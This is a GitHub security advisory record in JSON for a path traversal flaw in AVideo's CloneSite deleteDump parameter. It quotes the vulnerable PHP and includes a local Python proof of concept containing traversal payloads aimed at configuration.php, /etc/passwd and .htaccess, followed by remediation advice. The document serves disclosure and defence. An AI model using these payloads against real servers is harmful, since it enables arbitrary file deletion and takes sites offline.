{"id":"GHSA-5879-4fmr-xwf2","summary":"WWBN AVideo has an incomplete fix for CVE-2026-33293: Path Traversal","details":"### Summary\n\nThe incomplete fix for AVideo's CloneSite `deleteDump` parameter does not apply path traversal filtering, allowing `unlink()` of arbitrary files via `../../` sequences in the GET parameter.\n\n### Affected Package\n\n- **Ecosystem:** Other\n- **Package:** AVideo\n- **Affected versions:** \u003c commit 941decd6d19e\n- **Patched versions:** \u003e= commit 941decd6d19e\n\n### Details\n\nAt line 44-48 of `cloneServer.json.php` (pre-fix):\n```php\nif (!empty($_GET['deleteDump'])) {\n    $resp-\u003eerror = !unlink(\"{$clonesDir}{$_GET['deleteDump']}\");\n    $resp-\u003emsg = \"Delete Dump {$_GET['deleteDump']}\";\n    die(json_encode($resp));\n}\n```\n\nNo `basename()`, no `realpath()` check, no path traversal filtering. `$_GET['deleteDump']` is concatenated directly with `$clonesDir`.\n\nThe vulnerable code has zero protection against path traversal:\n- No `basename()` to strip directory components\n- No `realpath()` to validate the final path\n- No check that resolved path is within `$clonesDir`\n- No `../` sanitization\n- Additionally, `exec()` calls with `mysqldump` pass credentials on the command line\n\n### PoC\n\n```python\n\"\"\"\nCVE-2026-33293 - AVideo CloneSite Path Traversal\n\"\"\"\n\nimport sys\nimport os\n\nVULN_SRC = os.path.join(os.path.dirname(__file__), \"src\", \"cloneServer.json.php\")\n\ndef verify_source_file():\n    if not os.path.isfile(VULN_SRC):\n        print(\"ERROR: Source not found at %s\" % VULN_SRC)\n        sys.exit(1)\n    with open(VULN_SRC, \"r\") as f:\n        src = f.read()\n    if \"unlink(\" not in src or \"deleteDump\" not in src:\n        print(\"ERROR: Expected patterns not found\")\n        sys.exit(1)\n    return src\n\ndef vulnerable_delete_path(clones_dir, delete_dump):\n    return clones_dir + delete_dump\n\ndef test_path_traversal():\n    clones_dir = \"/var/www/html/AVideo/videos/clones/\"\n    payloads = [\n        (\"../../configuration.php\", \"Delete site configuration\"),\n        (\"../../../etc/passwd\", \"Delete system file\"),\n        (\"../../.htaccess\", \"Delete .htaccess\"),\n    ]\n\n    print(\"Testing path traversal via deleteDump parameter:\")\n    print(\"Base clones_dir: %s\" % clones_dir)\n    print()\n\n    all_traversal = True\n    for payload, desc in payloads:\n        resolved = vulnerable_delete_path(clones_dir, payload)\n        real_resolved = os.path.normpath(resolved)\n        escaped = not real_resolved.startswith(os.path.normpath(clones_dir))\n\n        if escaped:\n            print(\"[+] TRAVERSAL: %s\" % desc)\n            print(\"    Payload: deleteDump=%s\" % payload)\n            print(\"    unlink() target: %s\" % resolved)\n            print(\"    Normalized: %s\" % real_resolved)\n        else:\n            all_traversal = False\n\n    return all_traversal\n\ndef main():\n    print(\"=\" * 70)\n    print(\"CVE-2026-33293: AVideo CloneSite Path Traversal PoC\")\n    print(\"=\" * 70)\n    print()\n\n    src = verify_source_file()\n    print(\"[+] Source file verified: %s\" % VULN_SRC)\n\n    for line in src.split('\\n'):\n        if 'unlink(' in line and 'deleteDump' in line:\n            print(\"[+] Vulnerable line: %s\" % line.strip())\n            break\n    print()\n\n    if test_path_traversal():\n        print(\"\\nVULNERABILITY CONFIRMED\")\n        sys.exit(0)\n    else:\n        print(\"\\nVULNERABILITY NOT CONFIRMED\")\n        sys.exit(1)\n\nif __name__ == \"__main__\":\n    main()\n```\n\n```bash\npython3 poc.py\n```\n\n**Steps to reproduce:**\n1. `git clone https://github.com/WWBN/AVideo /tmp/AVideo_test`\n2. `cd /tmp/AVideo_test && git checkout 941decd6d19e2e694acb75e86317d10fbb560284~1`\n3. `python3 poc.py`\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\nThe deleteDump parameter passes unsanitized path traversal sequences (../../) directly to unlink(), enabling arbitrary file deletion.\n```\n\n### Impact\n\nAn attacker can delete arbitrary files on the server. Deleting `configuration.php` takes the site offline. Deleting `.htaccess` exposes protected directories. Deleting system files can affect other services.\n\n### Suggested Remediation\n\nUse `basename($_GET['deleteDump'])` to strip directory components. Validate that `realpath()` of the final path is within `$clonesDir`. Validate file extension. Add authentication checks.","aliases":["CVE-2026-41058"],"modified":"2026-07-08T08:29:24.069033083Z","published":"2026-04-14T23:21:31Z","related":["CVE-2026-41058"],"database_specific":{"cwe_ids":["CWE-22"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-04-14T23:21:31Z","nvd_published_at":"2026-04-21T23:16:21Z"},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-5879-4fmr-xwf2"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-xmjm-86qv-g226"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33293"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41058"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/3c729717c26f160014a5c86b0b6accdbd613e7b2"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/941decd6d19e2e694acb75e86317d10fbb560284"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"29.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0","29.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-5879-4fmr-xwf2/GHSA-5879-4fmr-xwf2.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}]}